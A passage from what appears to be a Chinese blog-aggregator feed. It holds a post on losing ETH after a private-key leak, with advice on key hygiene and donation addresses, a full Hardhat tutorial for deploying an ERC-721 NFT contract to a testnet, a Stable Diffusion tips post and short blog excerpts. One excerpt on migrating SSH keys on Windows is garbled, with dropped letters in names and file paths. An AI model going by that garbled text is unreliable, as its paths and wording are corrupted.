- 安全保障：私钥必须保持私密，不应分享给任何人。任何拥有你私钥的人都可以访问并使用你的区块链资产。一旦私钥丢失，你可能无法恢复对你的资产的访问。这就是为什么许多人选择使用硬件钱包或其他安全措施来存储他们的私钥。
- 不可更改：一旦生成私钥，就不能更改。这确保了任何人都不能篡改你的交易记录或资产。
- 无法找回：如果你丢失了私钥，那么几乎没有办法找回。这就是为什么备份你的私钥非常重要。
所以，保存好你的 Web3 钱包私钥并保证其安全是非常重要的，丢失或泄露私钥可能会导致你的资产被盗。
区分钱包
在使用 Web3 钱包的时候，一定要区分好钱包，你可以创建多个钱包，用于不同的场景，比如一个专门用来存储资产，一个专门用来开发测试，一个专门用来交易等等。
储存资产的钱包一定要保证私钥的安全，也不要乱授权，推荐使用硬件钱包来保证你的私钥安全。
环境变量
在开发的时候，一定要注意环境变量的安全，不要把私钥等重要信息放到代码里面，也不要提交到 Github 上面。特别是开源项目，一定要注意。我能想到的方案：
- 可以养成先创建私有仓库，然后再创建公开仓库的习惯。
- 在提交代码的时候，检查一下代码改动，确认没有私钥等重要信息。
- 本地安装 git-secrets, 配合 git 钩子，可以在提交或者 push 前自动扫描代码，看看有没有问题，很方便。(推友方案)
总结
这次事件，让我对 Web3 钱包的私钥有了更深的认识，也让我意识到了环境变量的重要性，以后一定要注意。周五的那篇文章价值 0.76 个 ETH，心在滴血。
希望大家能够引以为戒，不要重蹈我的覆辙。如果我的文章对有帮助到你，可以考虑打赏安慰一下我，非常感谢 🙏。
- TRC：
TRdBDpuSVffHfAD33SFVyc62hZe79msdcd - ETH：
0xc1a3C8DF608F8D4a321fEC13e968327ccFd0bf74
附上学习资料：《区块链安全入门笔记》
- 博客 MiaoTony's Blog 2023-06-10 22:30:00702
- 博客 Randy's Blog 2023-06-10 08:00:00703
- 博客 离别歌 2023-06-10 01:48:00
我与掌机结缘是从初中时代就开始了，但严格意义上来讲，在我的少年时代，我是没有拥有过掌机的。小时候家里没有给我买过任何游戏机，但我曾拥有过一台学习机——名人Windows CE。虽然被冠以“学习机”的名义，但实际上这是一台搭载Windows CE系统的掌上电脑（PDA），在2008年那个智能手机还没有出世的年代，我竟拥有了一台跨时代的智能大屏设备。
当时我在CE上装了很多原生的Windows游...
- 博客 轶哥博客 2023-06-09 21:06:05<>本文以Widow 11系统下复制密钥到另一台Widow 11设备为例，介绍如何在 Widow 设备之间迁移 SSH 密钥（
此方法也使用于Uix设备的密钥迁移到Widow平台 ）。无论是在工作场景还是个人使用环境下，网络安全都至关重要。SSH 密钥为用户提供了一种更安全的身份验证方法，可以保护和远程服务器通讯过程中的数据。直接将 ，因为密钥对文件权限有着严格要求，本文讨论的就是Widow平台中密钥权限修改的问题。~\.h\id_ra和~\.h\id_ra.u复制到另外一台设备是无法正常工作的 - 博客 二丫讲梵 2023-06-09 17:24:53如要阅读全文，点击标题跳转。学习周刊-总第110期-一个多租户 SaaS 开发框架
- 博客 forecho 的独立博客 2023-06-08 18:30:00
引言
最近在学智能合约，本篇文章主要记录如何使用 HardHat 创建 NFT 智能合约。我们还将学习如何使用 Hardhat 写测试合约和部署智能合约。
先决条件
搭建环境
安装 Node.js
首先，我们需要安装 Node.js，参照官网的安装教程即可。
MetaMask
- 安装并下载 MetaMask 浏览器插件，然后创建一个钱包。用于与区块链交互。
- 安装完 MetaMask 后，添加与 Polygon Mumbai 测试网的连接。另外也可以使用 Chainlist 快捷添加。
- 使用 Polygon 水龙头为你的账户充值测试网的 MATIC 代币。
创建 Polygonscan API 密钥
当我们将我们的合约部署到区块链（主网或测试网）时，部署后验证我们的智能合约代码是一种最佳实践。如果我们的智能合约被验证了，那么智能合约代码将在区块浏览器上可见，用户将能够直接从区块浏览器（如 Polygonscan）与智能合约交互。验证源代码是非常被鼓励的，因为它使我们的项目更透明，用户更有可能与之交互。
使用 HardHat 插件，智能合约可以在部署过程中自动进行验证。为此，我们需要一个 Polygonscan API 密钥。按照以下步骤获取你自己的 API 密钥：
- 打开 Polygonscan。
- 点击页面右上角的
SignIn。 - 如果你已经有账号，输入你的用户名和密码进行登录，否则通过访问 Register 创建你的新账号。
- 一旦你登录了，转到左侧边栏的
API Keys部分。 - 点击
Add按钮，给它取个名字，然后点击继续。
现在你有了一个 API 密钥，这将允许你访问 Polygonscan API 的功能，如合约验证。这个密钥对主网和测试网都是一样的。
创建一个 HardHat 项目
安装 HardHat，运行命令：
1npm install -g hardhat这将全局安装 HardHat，以便我们后来可以使用 npx 命令来创建 HardHat 项目。
现在，我们将使用以下代码创建我们的项目：
1 2 3mkdir art_gallery # 我将我的项目文件夹命名为 art_gallery，但其他任何名称都可以 cd art_gallery # 进入目录 npx hardhat输入最后一个命令后，类似于以下的内容应该出现在你的屏幕上：
这里我选的是 typescript，你可以根据自己的喜好选择。
理解代码
现在让我们打开我们的项目并看看它包含什么。我将使用 VSCode 作为我的编辑器，但你可以自由地使用你感觉舒服的任何其他代码编辑器。
我们得到的是一个非常简单的项目脚手架。所有我们的智能合约、脚本文件和测试脚本都将保存在它们各自的目录（文件夹）中。
hardhat.config.js文件包含了所有特定于 HardHat 的配置。在我们开始编写我们的智能合约之前，让我们看一下
hardhat.config.js文件，这是我们 HardHat 项目的核心。这个文件的默认内容是：1 2 3 4 5 6 7 8import { HardhatUserConfig } from "hardhat/config"; import "@nomicfoundation/hardhat-toolbox"; const config: HardhatUserConfig = { solidity: "0.8.18", }; export default config;安装 OpenZeppelin 库
在编写任何程序时，我们总是倾向于使用各种库，这样我们就不必从头开始编写。由于我们将构建一个基于 NFT 的项目，我们将遵循在 EIP-721 中定义的标准。最好的方式是导入 OpenZeppelin 合约库中的 ERC721 合约，并只对我们的项目进行必要的修改。要安装这个包，打开终端并运行命令：
1npm install @openzeppelin/contracts开始我们的智能合约
让我们在
contracts目录中创建一个名为Artwork.sol的新文件。这将是我们的第一个智能合约，它将帮助我们创建 NFTs。1 2 3 4//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.9; contract Artwork {}我们首先定义我们的智能合约的许可证。对于这个教程，我们将其保留为未许可。如果我们不定义许可证，它将在编译时引起警告。
pragma关键字用于定义用于编译代码的 Solidity 版本。接下来，我们将从我们刚刚安装的 OpenZeppelin 库中导入 ERC721 智能合约。在定义 Solidity 版本的行之后和定义合约之前，导入 ERC721 合约：
1import "@openzeppelin/contracts/token/ERC721/ERC721.sol";如果使用 VSCode，我们需要在
.vscode/settings.json文件中添加以下配置：1"solidity.remappingsUnix": ["@openzeppelin/=node_modules/@openzeppelin/"]参考 Source “@openzeppelin/contracts….” not found: File import callback not supported
继承 ERC721 和构造器初始化
对代码做出以下修改：
1 2 3 4 5 6 7 8 9 10 11 12 13//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; contract Artwork is ERC721 { constructor( string memory name, string memory symbol ) ERC721(name, symbol) {} }这里我们正在做以下几件事：
- 使用
is关键字将 OpenZeppelin 的 ERC721 智能合约继承到我们的Artwork.sol智能合约中。 - 构造器总是在部署智能合约时首先被调用的函数。由于我们正在继承另一个智能合约，我们必须在定义我们的构造器时传入那个智能合约的构造器的值。这里我们将一个名称和符号作为构造器参数，然后将它们传递给 ERC721 的构造器。
name和symbol分别将是我们 NFT 的名称和符号。
定义 tokenCounter
NFT 被称为非同质化代币，因为每一个都是独一无二的。使它们独一无二的是赋予它们的代币 id。我们将定义一个名为 tokenCounter 的全局变量，并用它来计算代币 id。它将从零开始，每创建（或"铸造"）一个新的 NFT，它就增加 1。在构造器中，tokenCounter 的值被设置为 0。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; contract Artwork is ERC721 { uint256 public tokenCounter; constructor( string memory name, string memory symbol ) ERC721(name, symbol) { tokenCounter = 0; } }创建 mint 函数
现在我们将定义一个 mint 函数，任何用户都可以调用它来铸造新的 NFT。每个 NFT 都会有一些关联的数据。在我们的情况下，我们使用图像或其他收藏品作为 NFT 的基础，因此图像应该以某种方式存储在智能合约中。由于直接在区块链上存储数据有相关的成本，如果存储整个图像和其他关联数据（元数据），那么在财务上将不可行。所以，我们需要单独托管图像以及包含所有 NFT 详细信息的 JSON 文件。图像和 JSON 文件可以分别使用去中心化（使用 IPFS）或传统方法集中托管。JSON 文件也包含指向图像的链接。一旦托管了 JSON 文件，指向该 JSON 文件的链接就存储在区块链中，作为 tokenURI。URI 代表"通用资源标识符"。以下是集中托管 tokenURI 的一个例子。
有了这个思路，mint 函数就是我们创建与智能合约关联的每个 NFT 的方式：
1 2 3 4 5 6function mint(string memory _tokenURI) public { _safeMint(msg.sender, tokenCounter); _setTokenURI(tokenCounter, _tokenURI); tokenCounter++; }_safeMint是 OpenZeppelin ERC721 合约中的另一个函数，用于铸造新的 NFT。它需要两个参数：to：第一个参数是一个账户的地址，该账户将在 NFT 铸造后拥有它。tokenId：第二个参数是新铸造的 NFT 的 tokenId。
msg.sender是一个特殊的关键字，它返回调用智能合约的账户的地址。在这种情况下，它将返回当前调用 mint 函数的账户。因此，调用 mint 函数的账户将作为第一个参数传递，所以铸造的 NFT 将由这个账户拥有。_setTokenURI()函数还没有定义，所以暂时忽略它。这个函数将用于设置铸造的 NFT 的 tokenURI。这个函数在 ERC721 库中存在，但在 Solidity 版本 0.8.0 之后已经被废弃，所以我们需要自己实现它。一旦代币被铸造并设置了其 tokenURI，我们就将 tokenCounter 增加 1，以便下一个铸造的代币有一个新的代币 id。
创建
_setTokenURI()函数我们的 NFT 智能合约必须存储所有有效的 tokenId 及其各自的 tokenURI。为此，我们可以使用 Solidity 中的
mapping数据类型。映射的工作方式类似于 Java 等其他编程语言中的 hashmap。我们可以定义一个从uint256数到string的映射，这将表明每个 tokenId 都映射到其各自的 tokenURI。在声明 tokenCounter 变量之后，定义映射：1mapping (uint256 => string) private _tokenURIs;现在让我们编写_setTokenURI 函数：
1 2 3 4 5 6 7function _setTokenURI(uint256 _tokenId, string memory _tokenURI) internal virtual { require( _exists(_tokenId), "ERC721Metadata: URI set of nonexistent token" ); // Checks if the tokenId exists _tokenURIs[_tokenId] = _tokenURI; }这里定义了许多新的术语，所以让我们逐一处理：
internal：这个函数用 internal 关键字定义。这意味着这个函数只能由这个智能合约中的其他函数或继承这个智能合约的其他智能合约调用。这个函数不能被外部用户调用。virtual：这个关键字意味着这个函数可以被任何继承这个智能合约的合约重写。require：函数体内的第一件事就是require关键字。它接收一个条件语句。如果这个语句返回 true，那么就执行函数体的其余部分。如果条件语句返回 false，那么它会生成一个错误。第二个参数是生成的错误消息，它是可选的。_exists()：如果已经铸造了传入的 tokenId 的代币，那么这个函数返回 true，否则返回 false。
总结：这个函数首先确保我们试图设置 tokenURI 的 tokenId 已经被铸造。如果是，它将把 tokenURI 添加到映射中，以及相应的 tokenId。
创建
tokenURI()函数我们需要创建的最后一个函数是
tokenURI()函数。它将是一个公共可调用的函数，接受一个 tokenId 作为参数，并返回其相应的 tokenURI。这是一个标准的函数，被 OpenSea 等基于 NFT 的平台调用。像这样的平台使用这个函数返回的 tokenURI 来显示有关 NFT 的各种信息，如其属性和显示图像。让我们编写 tokenURI 函数：
1 2 3 4 5 6 7function tokenURI(uint256 _tokenId) public view virtual override returns(string memory) { require( _exists(_tokenId), "ERC721Metadata: URI set of nonexistent token" ); return _tokenURIs[_tokenId]; }public：这个函数是公开的，这意味着任何外部用户都可以调用它。view：由于此函数不改变区块链的状态，即它不改变智能合约中的任何值，执行此函数不需要任何 Gas。由于不会发生任何状态更改，因此此函数被定义为 view。override：我们已经在我们继承的 ERC721 合约中有一个 tokenURI() 函数，它使用「baseURI + tokenId」的概念来返回 tokenURI。由于我们需要不同的逻辑，我们需要使用此关键字覆盖继承的函数。returns(string memory)：由于此函数将返回一个字符串值，我们在声明函数时必须定义它。memory关键字定义了信息的存储位置。
这个函数首先检查是否铸造了传入的 tokenId。如果已经铸造了代币，它从映射中返回 tokenURI。
将所有功能组合在一起
将所有函数组合在一起，最终的智能合约将如下所示：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; contract Artwork is ERC721 { uint256 public tokenCounter; mapping (uint256 => string) private _tokenURIs; constructor( string memory name, string memory symbol ) ERC721(name, symbol) { tokenCounter = 0; } function mint(string memory _tokenURI) public { _safeMint(msg.sender, tokenCounter); _setTokenURI(tokenCounter, _tokenURI); tokenCounter++; } function _setTokenURI(uint256 _tokenId, string memory _tokenURI) internal virtual { require( _exists(_tokenId), "ERC721Metadata: URI set of nonexistent token" ); // Checks if the tokenId exists _tokenURIs[_tokenId] = _tokenURI; } function tokenURI(uint256 _tokenId) public view virtual override returns(string memory) { require( _exists(_tokenId), "ERC721Metadata: URI set of nonexistent token" ); return _tokenURIs[_tokenId]; } }编译智能合约
现在我们的智能合约已经准备好了，我们必须将其编译。为了使用 HardHat 编译一个智能合约，请运行以下命令：
1npx hardhat compile如果一切顺利，你将会看到「Compilation finished successfully」的信息。如果合约没有成功编译或者出现了错误，你可以尝试再次阅读本教程，找出出错的地方。一些可能出现的错误包括：
- 没有提供
SPDX-License-Identifier - 使用 pragma 关键字定义的 Solidity 编译器版本和在
hardhat.config.js中定义的版本不匹配。 - 导入的智能合约的 Solidity 版本和编写我们的智能合约使用的版本不匹配。为解决这个问题，你需要仔细检查你用 npm 安装的 OpenZeppelin 合约的版本。在我这里，npm 包的版本是 8.19.3'，智能合约是用 solidity 版本 0.8.18 编写的。
测试智能合约
到目前为止，我们已经编写了我们的智能合约并编译了它。然而，一个成功编译的智能合约并不意味着它是正确的！编写测试用例以确保它通过所有预期的使用情况和一些边缘情况是非常重要的。由于一旦智能合约被部署到区块链上就不能被修改，因此测试智能合约变得更加重要。
我们将使用
chai库来编写我们的测试。如果在创建项目时没有安装这个库，你可以使用命令npm install --save-dev chai来安装。我们将对我们的智能合约进行以下测试：
- NFT 成功地被铸造：在一个账户调用铸造函数后，该账户应该拥有一个新铸造的 NFT 并且其余额会增加。
- tokenURI 被成功地设置：对于使用不同 tokenURIs 铸造的两个 token，两个 token 应该各自拥有自己的 tokenURI，并且可以正确地获取数据。
编写测试用例
在 test 目录下创建一个新的文件，叫做 Artwork.ts。文件名并不重要，但为了保持有序，测试文件的名称应该和被测试的合约有所关联。在这个新文件中，添加以下代码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16import { expect } from "chai"; import { ethers } from "hardhat"; describe("Artwork Smart Contract Tests", function () { this.beforeEach(async function () { // This is executed before each test }) it("NFT is minted successfully", async function () { }) it("tokenURI is set sucessfully", async function () { }) });describe：此关键字用于给我们将要执行的测试集命名。beforeEach：在beforeEach中定义的函数将在每个测试用例之前执行。我们将在这里部署 NFT 合约，因为每次运行测试之前必须部署合约。it：这个用来编写每个测试用例。it函数接受一个测试的标题和一个运行测试用例的函数。
注意：与 Truffle 不同，HardHat 不需要单独为测试运行
ganache-cli。Hardhat 有自己的本地测试网，我们可以使用。部署合约和编写测试
为了部署智能合约，我们首先需要使用
ethers.getContractFactory()获取对编译好的智能合约的引用，然后我们可以使用deploy()方法来部署智能合约并传入参数。我们在beforeEach()部分做这个操作。1 2 3 4 5 6 7 8let artwork; this.beforeEach(async function() { // This is executed before each test // Deploying the smart contract const Artwork = await ethers.getContractFactory("Artwork"); artwork = await Artwork.deploy("Artwork Contract", "ART"); })为了检查 NFT 是否正确地被铸造，我们首先获取 HardHat 创建的一个默认账户。然后我们调用智能合约中的 mint 函数，传入一个随机的 tokenURI。我们在铸造之前和之后检查账户的余额，它们应分别为 0 和 1。如果合约通过了测试，那就意味着 NFT 被正确地铸造了。
1 2 3 4 5 6 7 8 9 10it("NFT is minted successfully", async function() { [account1] = await ethers.getSigners(); expect(await artwork.balanceOf(account1.address)).to.equal(0); const tokenURI = "https://kongz.herokuapp.com/api/metadata/1" const tx = await artwork.connect(account1).mint(tokenURI); expect(await artwork.balanceOf(account1.address)).to.equal(1); })为了检查 tokenURI 是否被正确设置，我们取两个随机的 tokenURIs 并从不同的账户设置它们。然后我们调用
tokenURI()函数来获取相应 token 的 tokenURI，然后将它们与传入的参数进行匹配，以确保 tokenURIs 被正确地设置。1 2 3 4 5 6 7 8 9 10 11 12 13it("tokenURI is set sucessfully", async function() { [account1, account2] = await ethers.getSigners(); const tokenURI_1 = "https://kongz.herokuapp.com/api/metadata/1" const tokenURI_2 = "https://kongz.herokuapp.com/api/metadata/2" const tx1 = await artwork.connect(account1).mint(tokenURI_1); const tx2 = await artwork.connect(account2).mint(tokenURI_2); expect(await artwork.tokenURI(0)).to.equal(tokenURI_1); expect(await artwork.tokenURI(1)).to.equal(tokenURI_2); })将所有内容放在一起
最终，在将所有测试用例组合在一起后，Artwork.ts 文件的内容将是：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42import { expect } from "chai"; import { ethers } from "hardhat"; import { Artwork } from "../typechain-types"; describe("Artwork Smart Contract Tests", function () { let artwork: Artwork; this.beforeEach(async function () { // This is executed before each test // Deploying the smart contract const Artwork = await ethers.getContractFactory("Artwork"); artwork = await Artwork.deploy("Artwork Contract", "ART"); }) it("NFT is minted successfully", async function () { let account1; [account1] = await ethers.getSigners(); expect(await artwork.balanceOf(account1.address)).to.equal(0); const tokenURI = "https://kongz.herokuapp.com/api/metadata/1" const tx = await artwork.connect(account1).mint(tokenURI); expect(await artwork.balanceOf(account1.address)).to.equal(1); }) it("tokenURI is set successfully", async function () { let account1; let account2; [account1, account2] = await ethers.getSigners(); const tokenURI_1 = "https://kongz.herokuapp.com/api/metadata/1" const tokenURI_2 = "https://kongz.herokuapp.com/api/metadata/2" const tx1 = await artwork.connect(account1).mint(tokenURI_1); const tx2 = await artwork.connect(account2).mint(tokenURI_2); expect(await artwork.tokenURI(0)).to.equal(tokenURI_1); expect(await artwork.tokenURI(1)).to.equal(tokenURI_2); }) });您可以使用命令运行测试：
1npx hardhat test部署智能合约
到目前为止，我们已经学会了如何编写智能合约并对它们进行测试。现在我们终于可以开始将我们的智能合约部署到 Mumbai 测试网络了，这样我们就可以向我们的朋友们炫耀我们新学到的技能了😎。
在我们继续并部署我们的智能合约之前，我们将需要两个额外的 npm 包：
dotenv：输入npm install dotenv。这将用于管理环境变量，这些变量用于设置我们的 Polygonscan API 密钥的访问。@nomiclabs/hardhat-etherscan：输入npm install @nomiclabs/hardhat-etherscan。这个库用于在将智能合约部署到网络时验证它。在 Etherscan 和 Polygonscan 上验证智能合约的过程是一样的。
设置环境变量
在项目根目录中创建一个名为
.env的新文件。在
.env文件中创建一个名为 POLYGONSCAN_KEY 的环境变量，将其设置为教程开始时创建的 API 密钥。同时添加另一个条目 PRIVATE_KEY，将其设置为有 MATIC 的 Mumbai 测试网钱包帐户的私钥。1 2POLYGONSCAN_KEY=xxxx PRIVATE_KEY=xxxxx修改配置文件
为了将经过验证的智能合约部署到 Mumbai 测试网络，我们必须在 hardhat.config.js 文件中做一些改动。首先，将这段完整的代码复制粘贴到文件中，然后我们会一步一步地解释这段代码，以理解正在发生的事情：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20import { HardhatUserConfig } from "hardhat/config"; import "@nomicfoundation/hardhat-toolbox"; require("dotenv").config(); const config: HardhatUserConfig = { solidity: "0.8.18", networks: { mumbai: { url: "https://matic-testnet-archive-rpc.bwarelabs.com", accounts: [ `${process.env.PRIVATE_KEY}` ] } }, etherscan: { apiKey: process.env.POLYGONSCAN_KEY, } }; export default config;由于我们将把我们的合约部署到 Mumbai 测试网，所以我们在网络部分创建了一个新的网络对象。我们将其命名为 mumbai，并将其 url 设置为 Mumbai 测试网的 RPC url。然后，我们将我们的私钥添加到 accounts 数组中，以便我们可以使用它来部署我们的智能合约。
最后，我们将我们的 API 密钥添加到 etherscan 对象中，以便我们可以在部署智能合约时验证它。
编写部署脚本
在
scripts文件夹中创建一个名为deploy_artwork.ts的新文件。在这个文件中，我们将编写一个脚本，用于部署我们的智能合约。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34import { ethers, run } from "hardhat"; async function main() { const ContractFactory = await ethers.getContractFactory("Artwork"); const contract = await ContractFactory.deploy("Artwork Contract", "ART"); // Wait for the contract to be mined and get the contract's deployed bytecode await contract.deployed(); console.log("Contract deployed to:", contract.address); // wait 1 minute for the contract to be mined await new Promise((r) => setTimeout(r, 60000)); // Verify the contract try { await run("verify:verify", { address: contract.address, constructorArguments: ["Artwork Contract", "ART"], }); console.log(`Contract verified successfully.`); } catch (error) { console.error("Failed to verify contract:", error); } } main() .then(() => process.exit(0)) .catch((error) => { console.error(error); process.exit(1); });执行部署脚本：
1npx hardhat run scripts/deploy_artwork.ts --network mumbai解释一下上面的代码：
- 我们首先使用
getContractFactory方法获取我们的智能合约的工厂对象。 - 然后，我们使用
deploy方法部署我们的智能合约。我们将合约的名称和符号作为参数传递给构造函数。 - 最后，我们使用
verify:verify任务验证我们的智能合约。我们将合约的地址和构造函数的参数作为参数传递给任务。
需要说明的是：
deploy之后要等 1 分钟，因为部署智能合约需要一些时间。如果我们立即验证智能合约，我们将得到一个错误，因为智能合约还没有被部署。- 当然验证合约你也可以通过命令完成，不写代码，验证的命令如下：
1npx hardhat verify --network sepolia <contract address> "Artwork Contract" "ART"与智能合约互动
如果我们在 Polygonscan 上查看我们的智能合约，你可以看到我们的合约已经通过验证。这在 Contracts 标签页中有一个绿色的对号表示。在 Contracts 标签页中，点击 Write Contract。现在点击「Connect to Web3」并连接你的 Metamask 账户。
我刚才部署的智能合约的地址是：0x7d64B6EDAcE2Cf8FfE57199406861E9fcEeb7364
现在选择 mint 操作并输入你的 tokenURI。我使用 https://kongz.herokuapp.com/api/metadata/5 作为我的 tokenURI。如果你愿意，你可以通过使用 IPFS 来托管你自己的 tokenURI。一旦你输入你的 tokenURI，点击「Write」按钮。这将显示一个 Metamask 弹出窗口。确认交易并等待其被确认。
恭喜你🥳🥳🥳，你的 NFT 已经成功铸造。你可以访问 Opensea Testnet 页面，用钱包登录之后，在「Profile」部分现在你可以查看你的 NFT。可以在这里查看示例。
结论
在本教程中，我们学习了 HardHat 的一些基础知识。我们编写了一个可以用于创建 NFT 的智能合约，为我们的智能合约编写了测试，最后将其部署到 Mumbai 测试网。我们还使用了 HardHat 插件和 Polygonscan API 密钥验证了我们的合约。使用类似的程序，我们可以构建任意数量的 DeFi 项目并部署到任何兼容 EVM 的网络（Ethereum, Polygon, Binance Smart Chain, Avalanche 等）。
参考资料
在学习过程中，我发现以下资料非常有用：
最后
本篇文章大部分内容都翻译自 《Create an NFT smart contract with HardHat》，并且结合我自己的实践做了一些修改，希望对你有所帮助。
本篇教程的代码已经上传到 Github，地址 hi-hardhat。
- 博客 MacTalk-池建强的随想录 2023-06-06 15:27:11苹果公司一向特立独行，很少跟风热炒，当满世界都在炒AI、大模型、GPT 的时候， … Continue reading →
- 博客 MacTalk-池建强的随想录 2023-06-05 16:59:32这个功能其实在做墨问个人主页的时候就规划了，想做个完善的方案，需要不少功夫。那订 … Continue reading →
- 博客 二丫讲梵 2023-06-04 05:34:58如要阅读全文，点击标题跳转。本文将介绍gradle中plugins配置区块儿的私服代理配置问题
- 博客 MiaoTony's Blog 2023-06-02 20:46:00711
- 博客 LoRexxar's Blog 2023-06-02 18:12:24
在第一篇关于AI绘图的文章中，我主要介绍了stable diffusion的各种使用方法
在midjounry收费之后，除非你对AI绘图这个操作本身有强需求，否则在免费自建的stable diffusion上做拓展就成了现在最好的解决方案。
这篇文章就聊一些stable diffusion的一些进阶操作和关键点。其中有不少还是很有意思的。
在线部署stable diffusion
AI相关的东西都有一个很大的共同点就是对GPU的算力要求太高，相比在服务器上运行，更靠谱的方案是在本地电脑上跑，比起动辄5、6位数的服务器，一个入门级的4070ti就已经能应对大量的ai训练场景了。
在Google Colab白嫖GPU
但有个很特殊的东西是Google Colab，这是Google提供的免费GPU算力
现在有很多现成的脚本可以允许你一键部署脚本，就比如
点击打开之后，先点击右上角的连接，会随机分配一个机器给你。
连接成功就会变成绿色
免费的计算单元式有限的，你也可以考虑升级Colab Pro或者Pro+来获得稳定的计算资源。Colab Pro的价格是大概每月75.
在登陆成功并里连接好机器之后，你就可以按照步骤逐步点击操作，每一步点开箭头按钮即可。
这里需要下载的各种内容都会直接下载到你账号对应的Google云端硬盘。
然后是一些比较重要的设置，首先基础的模型包中选择合适的模型，在上篇文章提到过Chilloutmix是一个人像的写实通用模型，正常来说我们都会选择这个。
当然，如果你想要下载其他模型，你也可以在这里填入相应的包链接下载。包括后面的LoRa也是一样。其他的大部分内容都不用更改，直接跑完即可。
最后点击运行启动web ui
然后你就可以直接使用在线版本的stable了，要注意的是免费的colab会有两个问题
1、免费的colab只能连续运行十几小时，再用就必须停一段时间，就又会获得新的免费时间。
2、在使用人数比较多的时候，免费账户可能会申请不到GPU算力。
当然如果你用的是colab pro就不用这么麻烦了。
在Stable diffusion基础上的第三方
其实市面上有很多很多的第三方开发AI绘图工具是基于Stable diffusion做的，其中很多都很好用，适当的付费就可以换来非常好用的工具，就比如Civitai中，你就可以直接点击跳转到第三方网站付费运行相应的模型。
除了这些内置的以外，其中有个我感觉比较好用的是Vega AI
这个网站已经把Stable diffusion包装成很接近midjounry的工具了，你可以非常简单的选择模型并输出描述文案，并且可以在图片基础上做反复微调，虽然这都是Stable diffusion本身的功能，但不得不说在包装后更好用了。
Stable diffusion拓展插件
在上篇文章讲到Stable diffusion本身的各种用法，其实除了本体以外，Stable diffusion还支持拓展插件，可以有非常不错的功能拓展。
Openpose 骨骼绑定
Openpose Editor是一个最近比较流行的骨骼动作编辑插件，你可以直接在下面的链接下载这个插件。
通过这个插件，你可以在一定程度上设定生成图片的人物骨骼结构。从而生成指定的图片。
在导入Openpose插件之后，你可以在上面选择Openpose编辑器
然后选择简单的骨骼结构之后推导到文生图继续编辑，在左下角勾选启用，和低vram模式，其他的基本不用动。
这样就可以跑出来一张指定骨骼样子的图片
除了指定骨骼以外，你还可以通过上传图片来解构图片本身的骨骼，然后再用来指定和生成，这个Openpose在生成人物图片的优先级以及效果远比图生图效果要好，尤其是可以很大程度还原图片本身的样式。
在OpenPose编辑器中使用Detect from image获取图片中的人物骨骼
然后发送到文生图或者图生图里传入关键字。等待一会儿就会生成对应的图了
当然这里这个简单的骨骼绑定还是比较简单的一种，配合适当的ControlNet插件你还可以做到线稿成图、色块成图等等类似的操作。
ChatGPT关键字
其实我觉得Stable diffusion里最不实用的关键点就是正向和负向关键字，关键字系统本身相当复杂而且还只能识别英语，并且里面的优先级问题和竞争问题相当复杂，对于使用者来说，这点就是一个相当大的门槛。反之在midjounry中这方面就做的非常好，你可以用中文描述场景在逐步优化。
而现在，你可以用一个简单的ChatGPT插件来实现类似的功能，在配置上chatgpt的api之后你就可以用GPT3.5来解构和构造关键字。
成功安装之后，可以在设置里找到ChatGPT Utilities，点开并配置Chatgpt 的apikey
然后在对应文生图中，script中选择对应的ChatGPT，就会弹出以下的选项卡，我们可以在这里自动生成prompt.
后台会用你设定的ChatGPT apikey去生成图片的prompt
然后会生成对应的图
当然让chatgpt去生成prompt是比较简单的应用方式，你也可以指定部分prompt，然后进一步生成图片。比如
1
基于 {prompt}，生成不同姿势的粉色头发美女
这种情况下，你先去搞一个比较靠谱的prompt，再自定义做修改，就不会像以前一样对超长的prompt无从下手了。当然，我试了几次之后发现，其实chatgpt不太能理解这个预设的prompt，效果没有直接描述场景更好。
生成的图有点儿崩了，这里我就打码了
写在最后
在研究Stable diffusion的过程中，真的感觉现在这个东西好成熟，没想到AI革命，很多行业都还没革明白，但再设计圈已经掀起翻天波浪了。下次文章会聊聊另一个神器midjounry
- 博客 二丫讲梵 2023-06-02 17:21:30如要阅读全文，点击标题跳转。学习周刊-总第109期-一个现代化开源的Linux服务器运维管理面板
- 博客 MiaoTony's Blog 2023-05-30 20:25:00714
- 博客 笨方法学写作 2023-05-30 08:00:00
多数人喜欢高级复杂的创作工具，而我独爱简单而古老的纸质卡片。
纸质卡片不高科技也不智能，甚至显得原始笨拙，但却给我一种独特创作体验，成为我的秘密武器。通过使用纸质卡片，我能够持续地思考生产力工具的本质和价值，同时享受专注于深度思考和创造的乐趣。
经过 7 年的时间，我已经写下了 10000 多张纸质卡片，并从中总结出了卡片创作的 100个 关键词。这些关键词按照不同的阶段划分，涵盖了从「生产力工具」到「灵感激发」，从「生产习惯」到「个人项目」的各个方面。它们像是一张完整而深入的知识网络，帮助你在卡片创作的世界中发现无尽的可能性。
不论你是刚开始涉足卡片创作的新手，还是已经积累丰富写作经验的老手，这 100 个关键词将成为你探索卡片创作无尽可能性的指南。
1.卡片生产：工具与输出
卡片作为创作生产利器，为你提供了一种简单而高效的记录方式。在卡片生产层级，你首先要理解个人生产力与生产力的基本概念，写出一定量的卡片——特别是纸质索引卡，这将有助于理解卡片的真正意义。这份卡片工具关键词清单为你列出了部分具有卡片创作精神的基础工具，你可以根据自身需求和偏好来选择并理解这些工具。
关键词：生产力、生产力工具、生产空间、思考空间、数字笔记、卡片工具、IndexCard、Workflowy、Notion、Flomo、Marginnote、语雀、飞书、UNIX系统哲学、软件工程、信息管理学、情报学、工具理性、价值理性、具身认知
更多见《个人生产力发展指南》 、《日课一卡训练册》 https://xiaobot.net/p/productivity https://xiaobot.net/p/onecard
2.卡片认知：原理与模式
